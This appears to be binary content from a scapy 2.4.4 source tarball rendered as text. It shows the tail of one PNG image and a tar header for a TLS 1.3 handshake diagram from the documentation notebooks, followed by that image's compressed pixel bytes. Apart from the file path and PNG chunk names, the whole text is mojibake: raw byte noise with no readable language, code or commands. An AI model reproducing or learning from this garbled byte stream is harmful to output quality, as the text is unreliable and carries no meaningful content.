ÄçÐ^üד'OvîÜ)—ˉÈÁÁ!00pÚ´iÿï§µªª ÏvFmm­éjy`)FÓÐЀó`5½^_SSƒóÐm-UÍ 8055u±M*•jùòåYYYDÄãñbcc·oߎOØi]$"­V»iÓ&¶‚6ŸÏOMMå²r)ÀßY‰¨©©)((èÞ½{D$ ‹ŠŠÌGèj=hì<ŸÏOHH˜>>z½ÞÅÅåׯ_v5ÀÐ^47iÒ$"R«Õ …€îÔ×%>}ú´V«•H$£FB† ;ñ0ÌÀkV . . . . . . . . . . . . . .ôLÿ ý l7IEND®B`‚scapy-2.4.4/doc/notebooks/tls/images/handshake_tls13.png000066400000000000000000001523431372370053500231560ustar00rootroot00000000000000‰PNG  IHDRbèTsBITÛáOàtEXtSoftwareShutterc‚Ð IDATxÚìy\MùÇŸÛ¾iS·RHeI¶„TH– ’}È>Æ–ÝdËØCLÉîgìL†iYB%$ÒB IÑ~ë¶k»ËùýñgŽ»µ§xÞ//¯Ó¹ßsÎ÷œsïùœçù>ÏóeQ‚ ‚HB/‚ ‚ L"‚ Ê$‚ ‚ L"‚ Ê$‚ ‚ L"‚ H“D¡F­)ŠÊÉÉIOO×ÐÐ000hÑ¢‹Å‹ˆ Ò|áñx=zþüyAA±±±™™™¥¥¥^™šÉäëׯ8péÒ%‡C¯lÑ¢…³³ó¨Q£ÆŽ«©©IVnß¾ýÔ©SC† 9rä^_A¦L``àÂ… ß¿Ï\)//?~üøåË—ÛÙÙá%ªZ&ù|þ¦M›öìÙÃãñ ]»v¦¦¦999ïÞ½+..¾råÊ•+W¬¬¬zõêEÚçææ&%%uéÒ…¹“ 6ÄÅŵhÑâìÙ³xÑAšË—/÷öö {{{SSS.—ûðáÃK—.=yò$99¯R2Y^^>eÊ???>|ø¯¿þjmmM>¢(êåË—;wî¼té’¥¥¥ìý´oݺfgg7räHxñâE@@@yyù„ âããµ´´†.qÏÿýwee¥½½}›6mª8¢/-[¶:t(s}VVVHHŒ;VYY¹ÊîmݺUò SRèÚµ+˜ššR5„ =ºÊ•Eyyy1ë¿ýö›Ä}Ο?ÿŸþÑÕÕe6611yÿþ=iæãã#í¾nÚ´‰BA>E?~íííwîÜ# eoU‡öš5k`Ù²e………'N$m¬¬¬îÝ»rrrâ{Žyyyæ§Õ9[[[‘‘ö999Õéž´S–êt%£»æææ ÷:ãëë»|ùrŠ¢6nÜøþýûüüü .­Y³&00P¼ýýû÷'L˜0nܸ;wî\½zuöìÙ––¶cÇÒ`àÀ‡>|ø0ñ/]ºôð'\\\ðýA„ÆÚÚúرcrrrðèÑ£µk×öèÑÃÔÔtñâÅ?®ûCûãÇü믿 fÍšõóÏ?;::š™™ …ÂóçÏ‹ïüäÉ“0räH##£ÚiDïžÔ¦ÅS(|ܸq dM–””˜˜˜À‰'D^p”””úôé#¾9üøãôËŽP(œ:u*èéé‰ô”Y ÂFAù¨uëÖmll,Ò¥:0×hkk“…’’üÆ#‚Ôuuõ1cÆŒ3†¢¨Û·oÏ™3'--íÈ‘#“&M8p`­Ú‡‰ 266>|øõë×O:ecc#âq5k=Y‹ÃÕñîÕL&ííí_¿~ýêÕ+.—ÛEæ^¼xŸ?`À€öíÛ×E#j„´îÕ@&ÇŒcbb’––æííýã?Ö»DåååuïÞ}úôéø¥”AIIIII‰P(422BëAÆ¡wïÞ/^d†§Ôô¡-m LQQqÆŒžžžgΜ!2yúôibe6¦FTœNjBˆ’’)V÷úõë;wÖ{Iààà†»ÍͺSNNÎ/¿übmm­©©idddll¬©©iggçáá‘ ÒøÐ¡C{öì‰ŽŽÆß6‚ õ™²gÏž ñÐ&ŠxëÖ­’’’çÏŸÇÆÆjjjN˜0¡~5âãÇõr)d•>Ÿ7ož««+lÙ²åÌ™3ÒšñùüwïÞÕôÀdÞ–Ó§O?þ\üS¡PXYYYû³’“ƒO©ŸÍŠ¢¼½½MMM·oߣ®®niiiaaQRRòøñã}ûöuîÜyذaÌ—ooïÕ«W‹t#‚H$44ôâÅ‹Òl‰¼¼¼K—.€½½}C<´;uêäààP^^~óæÍþù¦L™¢¦¦V …"mD‚iD&Y,ÖéÓ§ííí)Šš9s¦»»{VV³@ °µµ=zôhMܹsçU«V …BWW×ÈÈHæG111 ã·µƒø>yò„ü™››{çÎfñÝÓ¦M[¾|yiii×®]¯^½š››Ÿ˜˜˜““ãïï?dÈòjÂtÀr8`³ÙôšŠŠŠóçÏáT8‚ˆóðáÃ)S¦Œ=úÑ£G"b™••5iÒ¤ÌÌL##£U«V5ÐC›”ÿý÷7@ÌãZ£Ã‘ Óôôt@@·ILL$³iÖ*æ›ÔÖÖ š?þ¹sçŽ9ò¿ÿýÏÁÁ ¨fggGFF’¢©¤2^MÙ°aCDDĽ{÷ìííûõëgmm››CÞJKKk}VöööñññGÍÎÎ.)) ·´´$ÓÄñðð¸páÌœ9óرcÌ!a==½Q£F¹¸¸øúú2 @Š*222H1Þ… J‹Cä›…(J@@@@@€……E÷îÝ;v쨩©wíÚµ‚‚EEÅ“'OŠ­Ç‡öĉ—.]êïï_VVÖ­[7frHM×»woòÐ7nœ‹‹‹¼¼|ttô‰'ZµjUXXX«š•BBBF¥¨¨(bn:;;2ë)Ô¨¦kyyù¶mÛ˜wBIIiäȑϞ=«Kɾ7oÞ03F­­­ÿøã¦_ƒ.7?bÄ@PÍ­RSSÉV ôJz®Í-[¶`AÄ wuuyªúôé'q«ê<´I™26$ƒ¹sç’=x{{KkSà R‘¦K—.‡¦mP‰Uxªì «Fq.………‰‰‰ĸéÒ¥‹¦¦fÝ¥šÇãEEEåä䘙™uèÐA¼Ðm-(..~üø1ÉŒqy7Mx<ž••Ubb¢––ÖÛ·oõôôª¹á³gÏzõê\.—þ2q¹ÜÐÐP‡Ó»wo‰¯i̳gÏ‚ƒƒÙl¶³³³xþ+‚ _м¼¼‡&'''''çåå8pèС²ŸÃ ñЮËá(Šzûömbb¢A‡êwòÇšÉ$ÒpÐS7n¬þ†7nÜ1b„‚‚Beee“Íñôô$ƒ¡¡¡ Ö,***%%ÅÀÀÀÆÆË*!ÒÃKÐD Kæ‹0¬’„Ëf³›rV%é$|>€*ÎéÓ§Ç߯_¿œœüJ ‚2‰ü©vÑ­[7R®°ú0Wù©¨¨`}5‚)ìèè¸mÛ6Ù„ÏÃqe¨©ìfÒÀüQAP&¿NJJJH2o—.]jg¨‰èŠ···¢¢¢“““ÄMÊÊÊâããéØŸº“˜˜xÿþ}ñº"TTT¤«ÕËPS---ñi}ªƒÄüQÔNAP&›=EEEdA¶O²úÖ$‡Ã¡(J\lŠ‹‹-Z¤££ceeÕ¦M›Î;ïß¿_$-7###&&†¶ÿªß& Ý@¶g˜¨i-.‚Œn`íAP&¿¢û!Wã;"Ñš”¸2..®K—.‡RQQqvvvttLLL\¶lÙŠ+˜ÍÎ;gmm=sæL@påÊ•qãÆÙÚÚ:88¬_¿^D; bcc³³³333eËd5õ¯J¹•ÄüÑ:î³v„„„¸ºº;v ¿Ïò €— ) ¯¯¯¨¨ÈãñH²MÝ­IqY*//wssûðáÃØ±c?NêV¼|ùrôèÑû÷ï;v,=]ÙVUUÕÕÕ500PMM¤ñ>zôèÌ™3OŸ>¥3:îÝ»7~üxú‡ºwï›Íf³ÙNNNdÒl (Š„äÈÖ*>ŸOfÆ©5IGý07—¦ ÇåË—§NÚ«W¯É“'ãAКDêEEÅN:Á§)ÖênMŠ›P[·n‹‹#Uÿé D­¬¬N:LÓ‡lëçç÷âÅ‹ÈÈÈâââ´´4’›––vàÀº¥©©éÒ¥K'OžL2”óóóïÞ½{ñâEooïÐÐPºY~~>Ç«R&sssIzRí,?‰á?µ³A5òûï¿ïÒ¥ËÍ›7ë%¥A´&‘9rä‹/âââRRR¤Í¯&ŽP($J Ûš¤(Š$œlݺUdÀ²_¿~;v ×ÿ=z€±±ñÎ;#""BBBBBBè–={öìÙ³'=LªIq8---Ý@ðîÝ;uuuif± I+++KNNnÑ¢…Ä``²¹‚‚³SCgkD\\ܬY³ÔÕÕ}}}ë7»A”If̘±k×.8pà€§§g5·ÊËË#‰L µ“^™””ôáÃpww744400`3ÐÓÓ{ýúµP($#£DoH4’Àb±lllBBBŠ‹‹EúPPP@‹ŠŠŠFFFFFFí¼óçϵVUU500 »AdäVÿüóÏ'Nœ¨¨¨KKË ,^¼˜9”+1T¢v6B¡pÖ¬Y?~üý÷ß-,,ðûŒ (“H=cii9cÆŒ3gÎmmm>DFFòù|‘]ÑêBôÆÁÁA¤‘(ñâ8UZlt'  ¥¥•Íáp8NJJŠÄöâ‘G#GŽüðზ––££cEEÅÇ—-[–””Äœ@Æm#Ô^8}úô³gÏÚ¶mëîîŽ_fA™D„Ý»w߸q#''gÔ¨QÁÁÁ­ZµªrZ¢˜5`ŵ“¤|XXX½¤(*??ŸÃáЊ•““C„„¶DÛ·o/ñXâZH§¡¡!­v.ÝÉuëÖ 6Œ^_RRBŽNºáççG¦Ô©Kä‘Ä1Z“E¥¥¥UTT´iÓ†9KàñxdóuëÖÕ(ã3333++ËÚÚ¿ü‚2‰TÁ7øæÍ›^½zVi±U³ «¸\‹È£jZ“‰‰‰={öܹsg~~¾­­­³³³ŠŠÊåË—{õêõ×_Õô®?~Æ_ÓèÖôôôºš2ÄÄÄDCCC__çE´&¿~ºwïþìÙ³£Gz{{§¤¤0ðX,Ö Aƒ˜ó‰K”.qÁPVVþù矗.]ºnÝ:;;; ‘ƒ yyyÙ’VwkR___Ɖ“ý(++Óa¢µˆ<ªŽ5Y^^>qâÄäädggç#GŽS›ÇãíØ±cóæÍS¦L177ïÙ³g5ïWIIɽ{÷`Ô¨Q5½×ÙÙÙÕ„–ý‘››ëçç·hÑ"ü!ÊäWŽššÚŠ+–/_ž’’“““# íííEžø?üðCïÞ½EÒ$jçܹs89hÐ ŸÞ½{ËÉÉ ‚ÈÈHoooggçY³fÉ4———'C>e¤@Оa‰ÀŠw›ö3×"ò¨:Öäš5kbcc;vìxùòeºÛŠŠŠ›6m*//ßµkצM›ªy³‚ƒƒI /íþ­‘Löïß¿Žß–   ÷ïßïÛ·ÏÇÇGüA”ɯ‹Õ®];bëHÃÂÂB<ý@¢vª¨¨ÜºuËÅÅåéÓ§}ûöÕ××WVVÎËË#vFŒÁmmm‘x:O_Üj,//g6fMÖ¢R]-"ª´&¹\î‘#G`Û¶mâÒ¾råÊýû÷_»víÙ³gÕœÎúÙ³g¤“µHÍäp8u¯{Àb±LMMUUU¡‹ !Êd#"€¼<Þ‰zD¢v€©©éÓ§O;vþüùøøxyyyâ]twwïÓ§ Kdæþ“@¡gÏž½zõªU«Vqqqááá²­[(ŠWÓZDIÌeîóÎ;•••ÒŒ¿–-[¶oß>66öÆÕ”Éׯ_@í|§ÙÙÙõ%lÕ|A¤ʤ¼x::ЪI^02‚&<çp3BUUuÙ²eË–-“Öà‡~èÕ«—xvRmU¢5éââ²wïÞÜÜ\KKKZl~úé'bç••••””@Uup I^&³‰<ÊÈȸsçÎСC« ’?ÊÜç«W¯ mÛ¶ÒJIÎIrrr5/)‘Iñü™*)---))©_™$gZTT¡¢¢BFsµ´´XøóAf,“ÙÙP^™™™)µ²2èêJVP²Ü¦ ( ¹-ÑÁƒWVVæææ24 ~üX£+–˜˜H®[-LÉz´ÿ˜{[¿~=³ô®¢¢¢©©é®]»Æ'²U\\ܵk×ÒÒÒÔÔÔzõê5jÔ(â¼m²èééIKÒE¯Q&¥iýGEÅ¿:/µŠŠ,{ÔÄUF‘Z@ ÑIühÖ¬Y$H===??¿ìììÎ;Wù”7:«yTÍüQ õ`óóói‰ÑH2ÖXM'ª@ m+ûøø;vL__Ÿ®ÉG/¤§§ËÉÉÑeèëÑšìÙ³'›Í¦ßx<^bbâÝ»w™2Éáp6lØð¿ÿý”›§-écÇŽ1›Œ1‚Ëå’S0449räÈ‘#É5ÌÉÉÑ×××ÖÖnkµ°°ÐØØ˜¼ÇèëëoÙ²¥ÙÕ<ÊÏÏoß¾}cÎì†4s™äóaæLÈÊ‚œàp 3JJj¹«òrx÷Þ½“Ú@CŒŒ€Í}}04üoÁÀôõÁÀ¸ìç·‰††Ó¸”FÛ¶m===³³³ûöíûùËOµ"$&«HÔΡC‡*((ðùüË—/Oš4I¤ׯ_'Á´ÌjA2¿tådAšq3nÜ8mmíììlvôúõkÎ'H|¬¶¶6-œLmݺuß¾}«)?"#»3gÎLOO߸q#EQ½zõZ¿~½P(dŽÅæççÛÙÙ½{÷Œ»víZ\\üøñc.—;aÂ???z´ôôôððpxóæ YsáÂ…‚‚‚¢¢¢Ö­[ÅRRR2444hÐüÑ zIQ”††9hNNΕ+WšLjjjnÚ´)>>>22²:e¶&ÕÔ(+£ÒÓ©¸8*(ˆ:}šòò¢Ö¬¡¦O§\\(ÊȈRP ꟎Õ¹3åà@MœH-]JmÚD=JùûSaaTRUYI!_‚ÒÒR//¯Þ½{«««víÚuæÌ™? …¤ÁºuëÀÑÑ‘¹©øÚ©S'‘½‘gkçÎóóó™ëé¸ÓÁƒW³ct|ïÝ»wktFB¡ðÀæææ!!!¾¾¾>>>6l˜7oÞèÑ£íììÌÌÌ ÓÓÓ«¹72§&äå帺º’?gÏž]VV&ÒX sÅbíÛ·¯òÓ·úùóçÆÆÆÄ’tûðððß~ûìð»ï¾Û»w/EQÅÅÅ"ó´(((ˆ«ÞáóùoÞ¼iÓ¦ Œ=º9~™333544lmmù|>þ´›Ð,{—GÅÅQaa”¿?uô(µiµt)5q"åà@uîLij6 Žª¨Pff”ƒåâBÍ›GmÚDyyQ—.QaaT\UíçR¿$&&úùùݹs‡¹R¢v’ç‘CKKËÛ·oWTT”””üóÏ?¤lž®®nbbb5›ŸŸOD"88¸¦}Þ±c‡““S½œ>1õŸ?N‚‰9B¿F0ñóó#}Þ±c‡ÈG—/_&Šˆº¹¹91%™+É G=Nž<Zëþ …   U«VM›6mÖ¬Y+W®¼xñbIIÉ«W¯$¾+ÒEóæÍk¦_×µk×ñx#MŸæöB"wdPVùù™ ’²³A(l×®ŠÊEJ 0¦Þ©~þ(>yòÄÕÕ566ÖÙÙ™ø`ÉGݺu;uêTõãq´´´”””*++i{®F£‰õ5@ECöíÛ—¸£»ví:gΉ.P___——g³ÙwîÜ!žÞ–-[*(( 2„´‰ŒŒ>|8½ ‹Årqqñöö¾y󦛛ۧ€ŠK—.Àš5kjZÌ–Izzº««kTT”ÈzUUÕ²²2}}}úìè¡VòvÒ|³_<<<ˆÿàûï¿Ç©Iqlò ¡ª ªªÐªHK}«¨.÷3áQÓÔTàñj©£UF‘iRjbµª©R; mÚ´yðàÁ|}}¬¬¬æÍ›÷ã?Ê×ä%†Åb¤¦¦Òfe´­~Ã\y<Ç0`ÀÓ§O£¢¢<¸téRñÆ/^¼@0gÎ扴lÙ’ÍfËÉÉ …BñÓ!2yëÖ-º:àÅ‹¹\®±±ñøñãëÒùiÓ¦EEEÉÉÉõëׯmÛ¶|>ÿÝ»wÏž=+++#nd’5K·§Ý\.7&&&==][[»ÿþ:Í$¼ eË–sæÌñòòòòò¢§1@pl²YˆQIIR]»ÚÚ ëÚ52¢ll(jútjÍÊË‹:}š ú×µ+É™†| [·n­Å†Û·o¯—>>|˜üœ×¬YÃãñvïÞ êêêïß¿oL¼²ZZZæææÒŠÛýôÓO"[UTT»'::š¸IɬݻvíªKÏi+üòåËÌõIII$±ÕÈÈHd“èèh²‰3rJEEE¢“Çã?þûï¿8pà°aÃV­ZuíÚµ‚‚‚/ûµ¹ÿ>˜™™ ñ·ŒN׿m’š™Á§ižªvíŠ{w9êd’ÖÚµËfc"iã`kk{÷îÝçÏŸq§ëäÉ“wíÚ+V¬øóÏ?£¢¢.\ âz555MLLÔÔÔ|óæœœ\ii)ˆKø|þÌ™3E¡¤¤äìì|åÊ•›7oöèÑãÁƒ111jjjsçέKÏ•••‰×úöíÛƒ ¢ÍA33³ÁƒÿùçŸfb?@:χ„àjhh½{÷®¼¼|Μ9}ûö™ ÍÃÃcÿþýôŸ·nÝÚ³g††ÆáǧM›&b3L™2%66VWW—Ífÿý÷¤è.EQEEE999ÆÆÆõ’Zjoo¯©©Iìæ^½záï­Éo:ÚèÒ%Êˋڴ‰š7rq¡(33JI©1¢v%FâÍ©ÀÜܼ¦²Ùì«W¯Öñè<¯´´”Ì âááA¯ŠŠ"Þã?ÿüSšéyéÒ%ñ>|ø0<<\â±H 5aÂX¸paÝ/à¶mÛèÁÈ‘#Gz{{'$$…˜˜˜•+WÞ»wO¤ý™3gèÇ—§§' ¯MLL$i?Ì‹@ V/Ì™3gÅŠÇWQQ!kvïÞ-r1Eæk377ÏÊÊrww§§HSTT;vlnnnÝO¼_¿~°oß>ü5qP&›¤kwútjȪsgÊÈèKºvYˆ4***ˆ ôæÍ›êoÅçóåää¤ R5ßœ‰ IDATyþü9Ñ2Xhjj:nܸӧOSõáÃRÞÍf§¦¦2={<”zÐÐÐÉcñ÷÷'¦ç“'OÄ—Íb±^¾|I4øÕ«Wõå4644dêSûöí8PZZ*ÞØÓÓ“´Y¿~=s}×®]`æÌ™"í}}}ÍÍÍ'NœH'`¤§§“‚½ÙÙÙÌÆ/^¼8tèÐÆIÝ`eeeñ²S°víZ‘£¼xñbç΋-Zµj•¯¯¯Äž‹@^n&Mš„?"”I¤n|ÁDReeÊÈI«ù¼«Ñ(©‘›’’R—ãFFFŠWßÕÓÓ£(Jd¾ÌV­Z½|ù’ÞðÞ½{ô¤fcÇŽ=zôè™3gV¬XAÌ,mmm‘ŒR[[[èÞ½;Œ9²î—N ÄÄÄ”••‘¸ÙÙ³g3Ó1­­­Åí6z¾Õ¤¤$æzRRxòäÉÕ9nhh(ÙÉ?ÿü#±{JFywìØq÷îÝàà`²fóæÍÌ·‡¹sçŠx¶[¶lyåÊÙ} ònݺá/¨‰ƒÃWMR„¯U+ø|Äå3ò󥦾äçCj*׿ÐtÀ*»'-pר´µ¿ú[´~ýú“'Oúøø,[¶ŒvèÉFKKëìÙ³$M¾ÖØØØp¹ÜW¯^Ñ“‹ôîÝ›¸Fß¿O¬ÏÈÈàp8t½@''§€€€™3gfggûùùÑ™” ©©yíÚ5m)wÍÅÅ%"""66–Œ€ÖýÒ=ztáÂ…Ý»wŽŽž8qâĉ‰ü“’ ÑÑÑ£G cŠˆ522¶$ë%V´ …ñññ>Œ­¬¬EEE"#ÒF@ÍÍ̓‚‚èùì?~œššêââòé—WÝzF’Þu@æ tŽM"ëÚMO§"#)êôij×.Q×.‹ÕH®Ý¥K©]»¨Ó§)*2’JO§¾ŠZ$›7o€45‡pZZZTT”Dïh~~¾§§gÿþýõôôZ´haii¹nÝ:.—+c‡t”i—.]ê%DsöìÙd‡ânÞþù‡|$¯K:{öìÉ\Éû”¾µmÛ6æz¡PxèÐ!.___‰£u1$$D†)\£zF"¬SyyyŽn 5‰4‰¨Ýš&’ŠDð~øŸrðë9j¾†DÒ•+Wž:ujçÎ3gΔ–eÑø())“G¶8ÚÚÚÌ™A«Ä‚<ÖW¬XQ/å[³²²ÈªU«™ ô  Å(Î’¦ÚéÓ†¯_¿~çÎDɺtébiiihh(''—””ÒkÖÛ´_¿~ŽŽŽÒ:ïïïýúuøõ×_™¶u×®]½½½'L˜ðæÍ›[·n1 5ˆØ¸@4QM”I”•«ví–•É*l”ž……µ<:㚺v›ÒŒ¤êêêW¯^µ··Ÿ?þ¹sç¾ÖùOŸ>-ôõõ§L™R/;¤+섆†vëÖmúôéíÚµc±XñññG%’Ó¶m[ñMDäÞs}^^©Fkkk{úôéŽ;Ò8qB†L~üø‘X—¡‘P«zFLH½$EEEy,Ë…2‰|=&iI›TÀ†O$íÖ­[ttô›7oŠ‹‹éüæÇ{÷î@àååîîîÕ‚­‚doo‘””D|×4ZZZ/^dª—¼¼¼Ä1H‰±edd‹míÚµL€ÌOî ‰2I‹.=Ó¸DjWψñs)€úº’Ê$ÒLtT¶kdF5~@ærëÖPgmkß¾=©qóu  {õêõüùóU«VíÞ½ûøñãoß¾mÑ¢ÅâÅ‹ëëGŽ‰ŠŠš={vRRÒ¾}ûž>^CCãêÕ«ƒ ¢?  ³F?yò„d²Š¿‚°ÙìÜÜ\ooo‰¹ (“ÒLRÞݬ,h Ÿ†4×.½lhbµuš</++‹®x@/ÿù|þªU«d¸">ŸŸ””TRRbii©¦¦V^^›™™I{Mén+((œ;wŽ”bZ“‚ Hƒ ŽŽP\ С\½ :5¯3@™DA†ÁÚúßJu66pû6èê6»“Ãûˆ ‚4ÿû߿ٮܼÙ5eAi0|}ÿ]8~ôôšéI L"‚ ÃwßýûÿàÁÍ÷$plAi0òò@G§9Í#2‰ ‚ Õ®‚ ‚2‰ ‚ (“‚ ‚2‰ ‚ (“‚ ‚2‰ ‚ (“‚ ߥ¥¥sçÎýþûïsrrðj4G0oA¤a‰‰‰:t¨¦¦fPP™Œ™”IAo“àààÁƒ[ZZ†‡‡kjjâiF ÓA¤ÁqrrÚ¸qc||üôéÓ…B!^´&AÏýû÷ß³gÏÊ•+ñ‚ L"‚ Ÿ:pà@MMÍ·oßêëëãi ÓA¤‘pttìß¿QQ‘§§'^ ”IAD”Ù³gÀ‰'***ðj L"‚ Ÿ1aÂ555.—ûÏ?ÿàÕ@™DA>CCC£_¿~ˆW£Y €—A&ÎíÛ·ÃÃÃsrrÁ”)Sú÷ï߬OÇÑÑñöíÛwîÜ¡(ŠÅbáýE™D©=iiiÆ £ÿ|ýúõ½{÷íè|>?>>^QQ±]»v***â BBBöï߯årµ´´ °råJÙBN>ÍÈÈHJJ²°°À[ÜÄÁ„Aš4|>ßÍÍ---íÇ­[·þðáCý";;;222;;›Ãᔕ• >¼oß¾/^¼Øºuë;w ÀÐÐðÚµk666ôV`éÒ¥‡ßáï¿ÿ¾|ùri‡ãp8pýúõ#Fà-nêP‚ Í’’¯¤¤$ «¹IRRÒ¦M›œœœÌÍÍÛ´iÓ½{÷E‹%''3Û¨ªª2ŸŠ666çΓ——yZÎ;W¼?еk×ýû÷ߺuËËËËÄÄäååŸ={&­WB¡°E‹àåå…·µéƒ2‰ Hó`÷îÝD–òóó«ÓþÆêêꆚ˜úTQQѱcG6› rrrdÈÐÂÂbÏž=±±±­[·VTT¼rå S€`̘1åååÌõ:::`kk+£oÝ»w€Å‹ãmmú`¤+‚ M@@L÷ïßÿþ½È§DÈôÞ½{³gÏ611Ñ××·³³»~ýºøÞöïßÿñãG¢d>>>ÇŽ[»vm«V­ø|þŠ+îÞ½Kš)))½zõª¬¬,55õçŸb­öìÙóñãÇ+W®ìÖ­[rrrvvö¸qãèoݺ•ÇãikkÿñÇÊÊÊôz33³Y³f@DD—Ë•v¦zzzP\\Œ7½éƒ!<RÄÄÄ:::⥨)±±±üñǃÞ¼ySRR¢££cllgmmÅlIÆó`áÂ…Ì(žÜÜÜQ£FÝ»woàÀÌö=zô¸qㆪªê¾}ûÚµkGV.Z´¨[·nyyy‡M´&¤®ÆÐüùó]\\,XИÇ0aBRRY~ûömcæH·d~~~vvv~~~»víZµjU‹\ºtiãÆ`ee5nÜ8++«-Zdddlݺ555•Ïçjkk‹›z°jÕªß~ûŒ ~øðaÇŽOŸ>-//gælÈÉÉ‘!ÀW¯^AètE¯>Ÿ?eÊ@pðàÁFÎÿá‡nÞ¼) =zôöíÛ†8DJJÊË—/‰#±  `À€ÇÏÏÏ>|xdd¤@ ÍŒŒŒ222j±ÿ³gÏÀرc/_¾,'÷_œ„ªªê´iÓˆKÔ0ƒ­[·ÒœHZeeebbb×®]™›$%%¹»»Ó6"Ñ']]ÝÌÌLàp8­[·–è×ÕÒÒ’Ýykk뇽}û–xP™<}úôòåËjjj=zô¸yQQ|¡DÐéŠ ±u’’’ú@DZ<*ÉÊÊ ©—¼~ýš<ú«Ÿ#A;v¬žž‹ÅÒÖÖvuu½ÿ>³Á“'ODžE‰H2‹Å9rdí:?f̰··ýú5³ÿ¥¥¥¿þúë¹sçÄOŠ—d® % b®óæ®®.ùÈÁÁÁÇÇ'>>žÇã]ºt‰3‘ýóx<¢¾Û¶m“ÝùcÇŽ‘¬^½Z¤Ÿeeed(tÆŒÒ6'6n܈¿Ö¦Ê$ò*¢¯¯/hkk7ô¡I •'OžÔt,³[·nõÒ‡üü|ò°.,,é[^^Þ«W¯^¾|I‡ø|þÂ… %¾4ÿþûïLÑÑÑ!9$VåôéÓä£ÈÈHjffVQQQëÎЇÖÔÔìСÀ&Mš´qãÆ°°0'¾I‡Ä_½zEvrþüyæz˜ª¦¦æççÇ\BÚ_»vMüÄ«2U£²²ÒÚÚšìgúôéoÞ¼!ë?|ø0a²þÏ?ÿ”¶y›6md7@P&¤~¨ˆÁÁÁä9U—‡x•}ZµjÅŒ‹ñôôdnR£¤x¡PاO\Ê\ïááA¿uìhhh·nÝ$jv¯^½âããEÚ“¢áýû÷—ø®°oß>q)š|`–š322255¥ÿtss“öÅ ;,RèA™D ðx¼¨¨¨7nˆ{ÀªƒDE|ùò%Y™––Öp=_¼x1,X° ¦FDD°X,>Ÿ_/Ý ÷ðáCŠ¢ÆŽ+"6***çΣ×")žLd¡¬¬œ‘‘A¯$Á)§Nª—SÈÌÌô÷÷?zôè–-[f̘akkK<Ÿ:::‡ÙrüøñбcG‰ï ?ÿü3s=©Û¦Mæ× &&†¿:tè¶mÛ¼½½¹\îÝ»wwìØ±|ùr2ª¦¦F¿m¨ªª¾ÿ^bÏ?~üøë¯¿jjj2¯¹††ÆÞ½{e¼</±‰‰IM_°”IäkƒËå¾zõ*!!AF›ÂÂBòp™6mZ-!QsssÉʨ¨¨†;;b;v¬¦&''3Q¡.ôìÙþþûoŠ¢Þ¼yóÛo¿‘hÏÖ­[¿|ù²²²’ÙxæÌ™ÄøÎËËÙÏŠ+è4D‰åªU«hm úQGcˆÃáŒ1bÚ´iâþÕ˜˜ zôèQæzwww‰îtò® bÝ^½z•Ž 6lؘ1c:vì(Ñr]´h‘Œuuõ””'’——÷÷ßïÝ»×ËË+00°¤¤Dö‰¯^½š jâ#¢Y€‘®HÒ®]»¢¢"GGGz4Hœ-Z(++WTTp8œZ‚Mäp8ÆÆÆdYGGG^^^ ÔnŸÕáãÇqqqÕÉG__Ÿt˜™áPkÈNÈ™ššš†„„”——kkkß¼y³sçÎ"k‘Ïb±6oÞ}úôìÙ³F‰t¦ H ³ê_™ú²tikrýúõ§N€-[¶H›ï°vIñ´AéííýÓO?………¡ª—žÓÜÅÅÅÔÔÔÐÐ0-----¬Ÿ5kݙٳg_»vÞ– ïuìØ‘žT‹Åb[°{÷îíÛ·gå§Ÿ~j:fÉÖ­[åäävíÚõ•ÿøóó!#òó!3St!?RS¡¸ºw‡˜˜¦*(“HB<¢\.—ÇãÑ©2ôT­&s—¨ˆLW¤`÷îÝ;wîdž¶±±9tè±™ªþÔÐÐVk­‘eÒ××7''‡¬Ù»wïØ±cINŠÿî»ïúôéóäÉ“ƒ†‡‡À€êØsCCC999¡P¨­­]PP’’’’’B>ÒÒÒÚ¾};sÈð»ï¾KIIQWWg³ÙDàÛ¶m;~üø={ödffjkkëéé‰O}ÕÔ8þüýû÷wîÜ)R¡™QV&Yÿè…ìlø¼4„dlLeiNÖ$Yàr¹Ä *£ŸÏÏÏϧóÁ™¤§§‡…… …B[[[‰ÆÄ­I‰2)¦Nêëë«¢¢2mÚ´¾}ûr¹ÜË—/?{ö¬_¿~¾¾¾Õd"OdW»+£§§—ðøñc‡#2FÈáp:tèpåÊ•½‹\½zu```\\œ³³ó£GÄkÈÍœ9óáÇ™™™[¶lÙµk󥤼¼|Ò¤IÉÉÉYYY¤J­DƒróæÍ†††L‹­v¨ªªNž<ùýû÷AAA¯^½ºsçNEE…ŽŽNçÎíííEîò¢E‹¤Úˆš6YRRR-Z4zôhÂÓD©¨.÷_›O¢¦¥A}UlÏÉ¡äšúDU(“_÷îÝ;999uuu---‰Óã}2Éápª”IÒLD&ËÊÊ<<<Ž;F—F3119yòä!Cj'“Ç÷õõ566 ÓÃׯ_¿eË–mÛ¶M™2%::ºS§NUž1ŽIŠ4 øùóçÏŸ?ÏÉÉQÁììì²²28qâ3TÄØØØÚÚšÍfÓ«ÑEž?þ®]»–-[æàà’’2lذû÷ï‹ø„gÍšuøðáèèèÝ»wgffþòË/DíRSSúé'‚;bĉ¢ Jptt¬—â|çÏŸ§ÍÜusäãÇþþþ666r_Pòò€Ãœàp + rr '23ÿ]ÈΆ‚‚†:´¼<è냾>› úúÀfƒ@€2‰Håþýû{÷î½yó&=™ŽœœÜ AƒÜÜÜÜÜÜD¦Sÿ d²šÍ˜UYY9räÈàà`]]Ý©S§¶mÛ6""âòåË#G޼{÷.É4—¦ˆÄÆYYYY¹cÇØ¿?ó¡,//¿yóæˆˆˆÛ·o{xxHœ¼P:̲²²RÄî¡Y³fMJJ ­‚½zõ¢—Ï;—––víÚµº‹ 9}uuuRW¶U«V·oßîׯ_\\ܨQ£nß¾Ít®***^½zuРAoß¾={öìÙ³gŒŒ”••io§››™¼BÚ „úð¸~ƒÂ_‰!(ŽŠ èè@«V`d::Ÿ-“hò^q”ɦ‚P(\½zõÞ½{ÉŸ¦¦¦ÚÚÚÅÅÅIIIwîܹsç΀˜Õ=š |>?::º¤¤ÄÉÉ©F2IÏ!ÒìàÁƒÁÁÁAAAt}“k×®=zÁ‚±±±Äó)Q%j§¯¯ojjj»víè€I99¹Å‹ß¾}ûÆ©©©"±ÅiÑ¢Yàr¹ÒæÇ¸qㆴͣ¢¢ž?^/9Ó?ÒA¿íÛ· 